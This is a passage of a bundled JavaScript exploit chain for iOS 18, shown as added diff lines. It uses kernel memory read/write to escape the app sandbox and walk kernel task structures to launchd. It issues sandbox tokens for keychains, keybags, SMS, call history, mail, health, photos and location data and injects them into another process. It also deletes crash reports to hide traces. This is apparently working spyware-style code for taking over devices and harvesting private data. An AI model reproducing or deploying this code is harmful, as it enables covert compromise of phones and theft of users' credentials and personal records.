"/private/var/Keychains/Backup.keybag", + "/private/var/Keychains/persona.kb", + "/private/var/Keychains/usersession.kb", + "/private/var/Keychains/device.kb", + "/private/var/keybags/", + "/var/keybags/", + "/private/var/keybags/systembag.kb", + "/private/var/keybags/persona.kb", + "/private/var/tmp/", + "/tmp/", + "/bin/", + "/Applications/", + "/private/var/containers/Bundle/Application/", + "/var/containers/Bundle/Application/", + "/private/var/mobile/Containers/Data/Application/", + "/var/mobile/Containers/Data/Application/", + "/private/var/mobile/Containers/Shared/AppGroup/", + "/private/var/containers/Shared/SystemGroup/", + "/private/var/mobile/Media/", + "/private/var/preferences/SystemConfiguration/", + "/private/var/preferences/SystemConfiguration/preferences.plist", + "/private/var/preferences/SystemConfiguration/com.apple.wifi.plist", + "/private/var/preferences/com.apple.wifi.known-networks.plist", + "/var/wireless/", + "/private/var/wireless/", + ]; + let ok = 0; + for (let i = 0; i < slim.length; i++) { + const key = slim[i]; + try { + const tok = this.getTokenForPath(key, false); + this.#PathDictionary[key] = tok; + this.getTokenForPath(key, true); + if (tok) ok++; + } catch (_) {} + try { + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("usleep", 80000); + } catch (_) {} + } + console.log(TAG, "Create tokens slim done ok=" + ok + "/" + slim.length); + return; + } + + // ===== iOS18nui createTokens (proven 18.6.1 / 18.6.2) ===== + console.log(TAG, "Create tokens (nui-full)..."); + function __tokProg(msg) { + try { console.log(TAG, msg); } catch (_c) {} + try { if (typeof p7_flog === "function") p7_flog("PEMK-B1 tok " + msg); } catch (_p) {} + try { if (typeof LOG === "function") LOG("[PE] tok " + msg); } catch (_l) {} + } + var __tokSafe = (function(path, consume) { + try { + return this.getTokenForPath(path, consume); + } catch (eTok) { + __tokProg("FAIL " + path + " " + String(eTok).slice(0, 80)); + return null; + } + }).bind(this); + let keys = Object.keys(this.#PathDictionary); + __tokProg("dict begin n=" + keys.length); + for (let ki = 0; ki < keys.length; ki++) { + var key = keys[ki]; + this.#PathDictionary[key] = __tokSafe(key, false); + if ((ki % 10) === 0 || ki === keys.length - 1) + __tokProg("dict " + (ki + 1) + "/" + keys.length + " last=" + key); + } + __tokProg("consume begin"); + + this.getTokenForPath("/bin/", true); + this.getTokenForPath("/Applications/", true); + this.getTokenForPath("/private/var/tmp/", true); + this.getTokenForPath("/tmp/", true); + this.getTokenForPath("/private/var/mobile/Media/", true); + this.getTokenForPath("/private/var/mobile/Containers/Data/Application/", true); + this.getTokenForPath("/var/mobile/Containers/Data/Application/", true); + this.getTokenForPath("/private/var/mobile/Containers/Shared/AppGroup/", true); + this.getTokenForPath("/private/var/containers/Bundle/Application/", true); + this.getTokenForPath("/var/containers/Bundle/Application/", true); + this.getTokenForPath("/private/var/containers/Shared/SystemGroup/", true); + this.getTokenForPath("/private/var/preferences/SystemConfiguration/preferences.plist", true); + this.getTokenForPath("/private/var/protected/trustd/private/TrustStore.sqlite3", true); + this.getTokenForPath("/private/var/protected/trustd/private/TrustStore.sqlite3-wal", true); + this.getTokenForPath("/private/var/protected/trustd/private/TrustStore.sqlite3-shm", true); + + console.log(TAG, "Create tokens for forensic paths..."); + this.getTokenForPath("/private/var/mobile/Library/SMS/", true); + this.getTokenForPath("/private/var/mobile/Library/CallHistoryDB/", true); + this.getTokenForPath("/private/var/mobile/Library/AddressBook/", true); + this.getTokenForPath("/private/var/mobile/Library/Voicemail/", true); + + this.getTokenForPath("/private/var/Keychains/", true); + this.getTokenForPath("/private/var/Keychains/keychain-2.db", true); + this.getTokenForPath("/private/var/Keychains/keychain-2.db-shm", true); + this.getTokenForPath("/private/var/Keychains/keychain-2.db-wal", true); + this.getTokenForPath("/private/var/Keychains/keychain-2.db-journal", true); + + this.getTokenForPath("/var/Keychains/", true); + this.getTokenForPath("/var/Keychains/keychain-2.db", true); + this.getTokenForPath("/var/Keychains/keychain-2.db-shm", true); + this.getTokenForPath("/var/Keychains/keychain-2.db-wal", true); + this.getTokenForPath("/var/Keychains/keychain-2.db-journal", true); + + this.getTokenForPath("/private/var/keybags/", true); + this.getTokenForPath("/private/var/keybags/systembag.kb", true); + this.getTokenForPath("/private/var/keybags/persona.kb", true); + this.getTokenForPath("/private/var/keybags/usersession.kb", true); + this.getTokenForPath("/private/var/keybags/backup/", true); + + this.getTokenForPath("/var/keybags/", true); + this.getTokenForPath("/var/keybags/systembag.kb", true); + this.getTokenForPath("/var/keybags/persona.kb", true); + this.getTokenForPath("/var/keybags/usersession.kb", true); + this.getTokenForPath("/var/keybags/backup/", true); + this.getTokenForPath("/var/keybags/backup/backup_keys_cache.sqlite", true); + + this.getTokenForPath("/private/var/Keychains/System.keybag", true); + this.getTokenForPath("/private/var/Keychains/Backup.keybag", true); + this.getTokenForPath("/private/var/Keychains/persona.kb", true); + this.getTokenForPath("/private/var/Keychains/usersession.kb", true); + this.getTokenForPath("/private/var/Keychains/device.kb", true); + this.getTokenForPath("/var/Keychains/persona.kb", true); + + this.getTokenForPath("/private/var/preferences/SystemConfiguration/com.apple.wifi.plist", true); + this.getTokenForPath("/private/var/preferences/SystemConfiguration/com.apple.wifi-private-mac-networks.plist", true); + this.getTokenForPath("/private/var/preferences/com.apple.wifi.known-networks.plist", true); + + this.getTokenForPath("/var/wireless/", true); + this.getTokenForPath("/private/var/wireless/", true); + this.getTokenForPath("/private/var/wireless/Library/", true); + this.getTokenForPath("/private/var/wireless/Library/Preferences/", true); + this.getTokenForPath("/private/var/wireless/Library/Databases/", true); + this.getTokenForPath("/private/var/wireless/Library/ControlCenter/", true); + this.getTokenForPath("/private/var/mobile/Library/CoreDuet/", true); + this.getTokenForPath("/private/var/mobile/Library/PersonalizationPortrait/", true); + this.getTokenForPath("/var/log/", true); + this.getTokenForPath("/private/var/log/", true); + this.getTokenForPath("/var/db/", true); + this.getTokenForPath("/private/var/db/", true); + this.getTokenForPath("/var/run/", true); + this.getTokenForPath("/private/var/run/", true); + this.getTokenForPath("/private/var/networkd/", true); + + this.getTokenForPath("/private/var/mobile/Library/Safari/", true); + this.getTokenForPath("/private/var/mobile/Library/Cookies/", true); + this.getTokenForPath("/private/var/mobile/Library/Caches/locationd/", true); + this.getTokenForPath("/private/var/root/Library/Caches/locationd/", true); + this.getTokenForPath("/private/var/mobile/Library/Notes/", true); + this.getTokenForPath("/private/var/mobile/Library/Calendar/", true); + this.getTokenForPath("/private/var/mobile/Media/PhotoData/", true); + this.getTokenForPath("/private/var/mobile/Media/DCIM/", true); + this.getTokenForPath("/var/mobile/Media/", true); + + this.getTokenForPath("/private/var/mobile/Library/Mobile Documents/", true); + this.getTokenForPath("/private/var/mobile/Library/Mobile Documents/com~apple~CloudDocs/", true); + this.getTokenForPath("/var/mobile/Media/PhotoData/", true); + this.getTokenForPath("/var/mobile/Media/DCIM/", true); + this.getTokenForPath("/private/var/mobile/Library/Health/", true); + this.getTokenForPath("/private/var/root/Library/Lockdown/", true); + this.getTokenForPath("/private/var/mobile/Library/Preferences/", true); + this.getTokenForPath("/private/var/mobile/Library/Accounts/", true); + this.getTokenForPath("/private/var/mobile/Library/Mail/", true); + this.getTokenForPath("/private/var/mobile/Library/FrontBoard/", true); + console.log(TAG, "Create tokens nui-full done"); + try { if (typeof p7_flog === "function") p7_flog("PEMK-B1 tok nui-full done"); } catch (_pd) {} + } + + static applyTokensForRemoteTask(remoteTask) + { + let remoteMem = remoteTask.mem(); + let keys = Object.keys(this.#PathDictionary); + for(let key of keys) + { + if(this.#PathDictionary[key]) + { + //console.log(TAG,`Applying:${this.#PathDictionary[key]}`); + remoteTask.writeStr(remoteMem,this.#PathDictionary[key]); + remoteTask.call(100,"sandbox_extension_consume",remoteMem); + //console.log(TAG,`Result of consume:${resConsume}`); + } + } + } + + static destroy() + { + if(this.#launchdTask) + this.#launchdTask.destroy(); + } + + static deleteCrashReports() + { + this.getTokenForPath("/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/",true); + libs_JSUtils_FileUtils__WEBPACK_IMPORTED_MODULE_0__["default"].deleteDir("/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/",true); + } + + static adjustMemoryPressure(processName) { + const MEMORYSTATUS_CMD_SET_JETSAM_HIGH_WATER_MARK = 5; + const MEMORYSTATUS_CMD_SET_JETSAM_TASK_LIMIT = 6; + const MEMORYSTATUS_CMD_SET_PROCESS_IS_MANAGED = 16; + + let pid = _Task__WEBPACK_IMPORTED_MODULE_2__["default"].pidof(processName); + if (!pid) { + console.log(TAG, "Unable to get pid of: " + processName); + return; + } + + if (!this.#launchdTask || !this.#launchdTask.success()) + return; + + let memResult = this.#launchdTask.call(100, "memorystatus_control",MEMORYSTATUS_CMD_SET_JETSAM_HIGH_WATER_MARK,pid,-1,0,0); + console.log(TAG,`waterMark result: ${memResult}`); + memResult = this.#launchdTask.call(100, "memorystatus_control",MEMORYSTATUS_CMD_SET_PROCESS_IS_MANAGED,pid,0,0,0); + console.log(TAG,`isManaged result: ${memResult}`); + memResult = this.#launchdTask.call(100, "memorystatus_control",MEMORYSTATUS_CMD_SET_JETSAM_TASK_LIMIT,pid,0,0,0); + console.log(TAG,`taskLimit result: ${memResult}`); + } + static applySandboxEscape() { + let _CS_DARWIN_USER_TEMP_DIR = 65537n; + let write_file_path = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("calloc", 1n, 1024n); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("confstr", _CS_DARWIN_USER_TEMP_DIR, write_file_path, 1024n); + let randomHex = "/" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("arc4random")); + let randomHexPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].mem; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].writeString(randomHexPtr, randomHex); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("strcat", write_file_path, randomHexPtr); + + // mktmp should work + // confstrr path + // also in pe + //let procPath = "/private/var/tmp/com.apple.mediaplaybackd/Library/HTTPStorages/com.apple.mediaplaybackd/" + let appSandboxReadExt = "com.apple.app-sandbox.read-write"; + let extension = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("sandbox_extension_issue_file",appSandboxReadExt,write_file_path,0n,0n); + if (!extension) { + console.log(TAG,`Sandbox failure 1`); + return false; + } + let resConsume = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("sandbox_extension_consume",extension); + if (resConsume == -1) { + console.log(TAG,`Sandbox failure 2`); + return false; + } + let ourTaskAddr = _Task__WEBPACK_IMPORTED_MODULE_2__["default"].getTaskAddrByPID(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("getpid")); + console.log(TAG,`ourTaskAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(ourTaskAddr)}`); + let ourProcAddr = _Task__WEBPACK_IMPORTED_MODULE_2__["default"].getTaskProc(ourTaskAddr); + console.log(TAG,`ourProcAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(ourProcAddr)}`); + let credRefAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(ourProcAddr + 0x18n); + if (credRefAddr == 0n) { + console.log(TAG,`Sandbox failure 3`); + return false; + } + credRefAddr = credRefAddr + 0x28n; + let credAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(credRefAddr); + if (credAddr == 0n) { + console.log(TAG,`Sandbox failure 4`); + return false; + } + console.log(TAG,`credRefAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(credRefAddr)}`); + let labelAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(credAddr + 0x78n); + if (labelAddr == 0n) { + console.log(TAG,`Sandbox failure 5`); + return false; + } + console.log(TAG,`labelAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(labelAddr)}`); + let sandboxAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(labelAddr + 0x8n + 1n * BigInt(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].UINT64_SIZE)); + if (sandboxAddr == 0n) { + console.log(TAG,`Sandbox failure 6`); + return false; + } + console.log(TAG,`sandboxAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(sandboxAddr)}`); + let ext_setAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(sandboxAddr + 0x10n); + if (ext_setAddr == 0n) { + console.log(TAG,`Sandbox failure 7`); + return false; + } + console.log(TAG,`ext_setAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(ext_setAddr)}`); + let ext_tableAddr = ext_setAddr + 0x0n; // koffsetof(extension_set, ext_table) = 0x0 + let hash = 0n; + console.log(TAG,`hash:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(hash)}`); + //hash = 4n; // for read + hash = 0n; // for read-write + let ext_hdrAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(ext_tableAddr + hash * BigInt(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].UINT64_SIZE)); + if (ext_hdrAddr == 0n) { + console.log(TAG,`Sandbox failure 8`); + return false; + } + /* + newHash = hashing_magic(appSandboxReadWriteExt); + LOG("ext_hdrAddr:%llx",ext_hdrAddr); + sleep(1); + mach_vm_address_t nullAddr = 0; + chain_write(ext_tableAddr + hash * sizeof(mach_vm_address_t),&nullAddr,sizeof(nullAddr)); + chain_write(ext_tableAddr + newHash * sizeof(mach_vm_address_t),&ext_hdrAddr,sizeof(ext_hdrAddr)); + */ + for (;;) { + let nextAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(ext_hdrAddr); + if(nextAddr == 0n) + break; + ext_hdrAddr = nextAddr; + } + let ext_lstAddr = ext_hdrAddr + 0x8n; // koffsetof(extension_hdr, ext_lst) == 0x8 + let extAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(ext_lstAddr); + if (extAddr == 0n) { + console.log(TAG,`Sandbox failure 9`); + return false; + } + console.log(TAG,`extAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(extAddr)}`); + let dataLength = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(extAddr + 0x48n); + let dataAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(extAddr + 0x40n); + if(dataLength == 0n || dataAddr == 0n) { + console.log(TAG,`Sandbox failure 10`); + return false; + } + let pathLength = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("strlen",write_file_path) + 1; + console.log(TAG,`dataLength:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(dataLength)} pathLength:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(pathLength)}`); + + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].write8(dataAddr, 0); + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].write64(extAddr + 0x48n,0n); + + console.log(TAG, `Finished succesfully`); + + return true; + } +} + + +/***/ }), + +/***/ "./src/libs/TaskRop/SelfTaskStruct.js": +/*!********************************************!*\ + !*** ./src/libs/TaskRop/SelfTaskStruct.js ***! + \********************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ SelfTaskStruct) +/* harmony export */ }); +class SelfTaskStruct +{ + #buffer; + #dataView; + constructor() + { + this.#buffer = new ArrayBuffer(32); + this.#dataView = new DataView(this.#buffer); + this.addr = 0x0n; + this.spaceTable = 0x0n; + this.portObject = 0x0n; + this.launchdTask = 0x0n; + } + get addr() + { + return this.#dataView.getBigUint64(0,true); + } + set addr(value) + { + this.#dataView.setBigUint64(0,value,true); + } + get spaceTable() + { + return this.#dataView.getBigUint64(8,true); + } + set spaceTable(value) + { + this.#dataView.setBigUint64(8,value,true); + } + get portObject() + { + return this.#dataView.getBigUint64(16,true); + } + set portObject(value) + { + this.#dataView.setBigUint64(16,value,true); + } + get launchdTask() + { + return this.#dataView.getBigUint64(24,true); + } + set launchdTask(value) + { + this.#dataView.setBigUint64(24,value,true); + } +} + +/***/ }), + +/***/ "./src/libs/TaskRop/Task.js": +/*!**********************************!*\ + !*** ./src/libs/TaskRop/Task.js ***! + \**********************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ Task) +/* harmony export */ }); +/* harmony import */ var _SelfTaskStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./SelfTaskStruct */ "./src/libs/TaskRop/SelfTaskStruct.js"); +/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); +/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js"); +/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js"); + + +const TAG = "TASK" +const TASK_EXC_GUARD_MP_CORPSE = 0x40; +const TASK_EXC_GUARD_MP_FATAL = 0x80; +const TASK_EXC_GUARD_MP_DELIVER = 0x10; + +class Task +{ + static gSelfTask; + static KALLOC_ARRAY_TYPE_SHIFT; + + static { + this.gSelfTask = new _SelfTaskStruct__WEBPACK_IMPORTED_MODULE_0__["default"](); + } + + static init(selfTaskAddr) + { + // Update KALLOC_ARRAY_TYPE_SHIFT + this.KALLOC_ARRAY_TYPE_SHIFT = BigInt((64n - libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().T1SZ_BOOT - 1n)); + + /* + * This function should be invoked as the initializer of the this Task utility. + * It setups the global var "gSelfTask" containing values used all across the task functions to lookup ports. + * It also retrieves the "launchd" task address. + */ + this.gSelfTask.addr = selfTaskAddr; + let spaceTable = this.#getSpaceTable(this.gSelfTask.addr); + this.gSelfTask.portObject = this.#getPortObject(spaceTable, 0x203n); + this.gSelfTask.launchdTask = this.#searchForLaunchdTask(); + + console.log(TAG,`Self task address: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(this.gSelfTask.addr)}`); + console.log(TAG,`Self task space table: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(spaceTable)}`); + console.log(TAG,`Self task port object: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(this.gSelfTask.portObject)}`); + console.log(TAG,`launchd task: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(this.gSelfTask.launchdTask)}`); + } + + static trunc_page(addr) + { + return addr & (~(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].PAGE_SIZE - 1n)); + } + + static round_page(addr) + { + return this.trunc_page((addr) + (libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].PAGE_SIZE - 1n)); + } + + static pidof(name) + { + let currTask = this.gSelfTask.launchdTask; + while (true) + { + let procAddr = this.getTaskProc(currTask); + let command = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].mem; + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().pComm, command, 18); + let resultName = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].readString(command,18); + if(name === resultName) + { + let pid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read32(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().pid); + return pid; + } + let nextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().nextTask); + if (!nextTask || nextTask == currTask) + break; + currTask = nextTask; + } + return 0; + } + + static getTaskAddrByPID(pid) + { + let currTask = this.gSelfTask.launchdTask; + + while (true) + { + let procAddr = this.getTaskProc(currTask); + let currPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read32(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().pid); + if (currPid == pid) + return currTask; + let nextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().nextTask); + if (!nextTask || (nextTask == currTask)) + break; + currTask = nextTask; + } + return 0; + } + + static disableExcGuardKill(taskAddr) + { + // in mach_port_guard_ast, the victim would crash if these are on. + let excGuard = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read32(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().excGuard); + //console.log(TAG,`Current excGuard:0x${Utils.hex(excGuard)}`); + excGuard &= ~(TASK_EXC_GUARD_MP_CORPSE | TASK_EXC_GUARD_MP_FATAL); + excGuard |= TASK_EXC_GUARD_MP_DELIVER; + //console.log(TAG,`ExcGuard result:0x${Utils.hex(excGuard)}`); + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].write32(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().excGuard, excGuard); + } + + static getTaskAddrByName(name) + { + let currTask = this.gSelfTask.launchdTask; + while (true) + { + let procAddr = this.getTaskProc(currTask); + let command = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].mem; + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().pComm, command, 18); + let resultName = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].readString(command,18); + //console.log(TAG, `${Utils.hex(procAddr)}: ${resultName}`); + if(name === resultName) + { + //console.log(TAG, `Found target process: ${name}`); + return currTask; + } + let nextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().nextTask); + if (!nextTask || nextTask == currTask) + break; + currTask = nextTask; + } + return false; + } + + static getRightAddr(port) + { + let spaceTable = this.#getSpaceTable(this.gSelfTask.addr); + return this.#getPortEntry(spaceTable, port); + } + + static #getSpaceTable(taskAddr) + { + let space = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().ipcSpace); + let spaceTable = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(space + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().spaceTable); + //console.log(TAG,`space: ${Utils.hex(space)}`); + //console.log(TAG,`spaceTable: ${Utils.hex(spaceTable)}`); + spaceTable = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].strip(spaceTable); + //console.log(TAG,`spaceTable: ${Utils.hex(spaceTable)}`); + return this.#kallocArrayDecodeAddr(BigInt(spaceTable)); + } + + static #mach_port_index(port) + { + return ((port) >> 8n); + } + + static #getPortEntry(spaceTable, port) + { + let portIndex = this.#mach_port_index(port); + return spaceTable + (portIndex * 0x18n); + } + + static #getPortObject(spaceTable, port) + { + //console.log(TAG, `getPortObject(): space=${Utils.hex(spaceTable)}, port=${Utils.hex(port)}`); + let portEntry = this.#getPortEntry(spaceTable, port); + //console.log(TAG,`portEntry: ${Utils.hex(portEntry)}`); + let portObject = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(portEntry + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().entryObject); + //console.log(TAG,`portObject:${Utils.hex(portObject)}`); + return libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].strip(portObject); + } + + static getTaskProc(taskAddr) + { + let procROAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().procRO); + let procAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(procROAddr); + return procAddr; + } + + static #searchForLaunchdTask() + { + /* + * Traverse the tasks list backwards starting from the self task until we find the proc with PID 1. + */ + + let currTask = this.gSelfTask.addr; + while (true) + { + let procAddr = this.getTaskProc(currTask); + let currPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read32(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().pid); + if (currPid == 1) + return currTask; + let prevTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().prevTask); + if (!prevTask || prevTask === currTask) + break; + currTask = prevTask; + } + return 0n; + } + + static #kallocArrayDecodeAddr(ptr) + { + let zone_mask = BigInt(1) << BigInt(this.KALLOC_ARRAY_TYPE_SHIFT); + if (ptr & zone_mask) + { + ptr &= ~0x1fn; + } + else + { + ptr &= ~libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].PAGE_MASK; + //console.log(TAG,`ptr:${Utils.hex(ptr)}`); + ptr |= zone_mask; + //console.log(TAG,`ptr2:${Utils.hex(ptr)}`); + } + return ptr; + } + + static getPortAddr(port) + { + if (!port) + return 0; + let spaceTable = this.#getSpaceTable(this.gSelfTask.addr); + return this.#getPortObject(spaceTable, port); + } + + static getPortKObject(port) + { + let portObject = this.getPortAddr(port); + return this.#getPortKObjectByAddr(portObject); + } + + static #getPortKObjectByAddr(portObject) + { + if (!portObject) + return 0; + let kobject = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(portObject + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().objectKObject); + return libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].strip(kobject); + } + + static firstThread(taskAddr) + { + let first = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().threads); + return first; + } + + static getMap(taskAddr) + { + let vmMap = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().mapTask); + return vmMap; + } + + static getPortKObjectOfTask(taskAddr,port) + { + let portObject = this.getPortAddrOfTask(taskAddr, port); + return this.#getPortKObjectByAddr(portObject); + } + + static getPortAddrOfTask(taskAddr, port) + { + let spaceTable = this.#getSpaceTable(taskAddr); + return this.#getPortObject(spaceTable, port); + } +} + + +/***/ }), + +/***/ "./src/libs/TaskRop/TaskRop.js": +/*!*************************************!*\ + !*** ./src/libs/TaskRop/TaskRop.js ***! + \*************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ TaskRop) +/* harmony export */ }); +/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js"); +/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); +/* harmony import */ var _Task__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./Task */ "./src/libs/TaskRop/Task.js"); + + +const TAG = "TASKROP" + +class TaskRop +{ + static init() + { + let selfTaskAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].getSelfTaskAddr(); + if (!selfTaskAddr) + { + console.log(TAG,`Unable to find self task address`); + return; + } + console.log(TAG,`selfTaskAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(selfTaskAddr)}`); + _Task__WEBPACK_IMPORTED_MODULE_2__["default"].init(selfTaskAddr); + } +} + +/***/ }), + +/***/ "./src/libs/TaskRop/Thread.js": +/*!************************************!*\ + !*** ./src/libs/TaskRop/Thread.js ***! + \************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ Thread) +/* harmony export */ }); +/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js"); +/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ 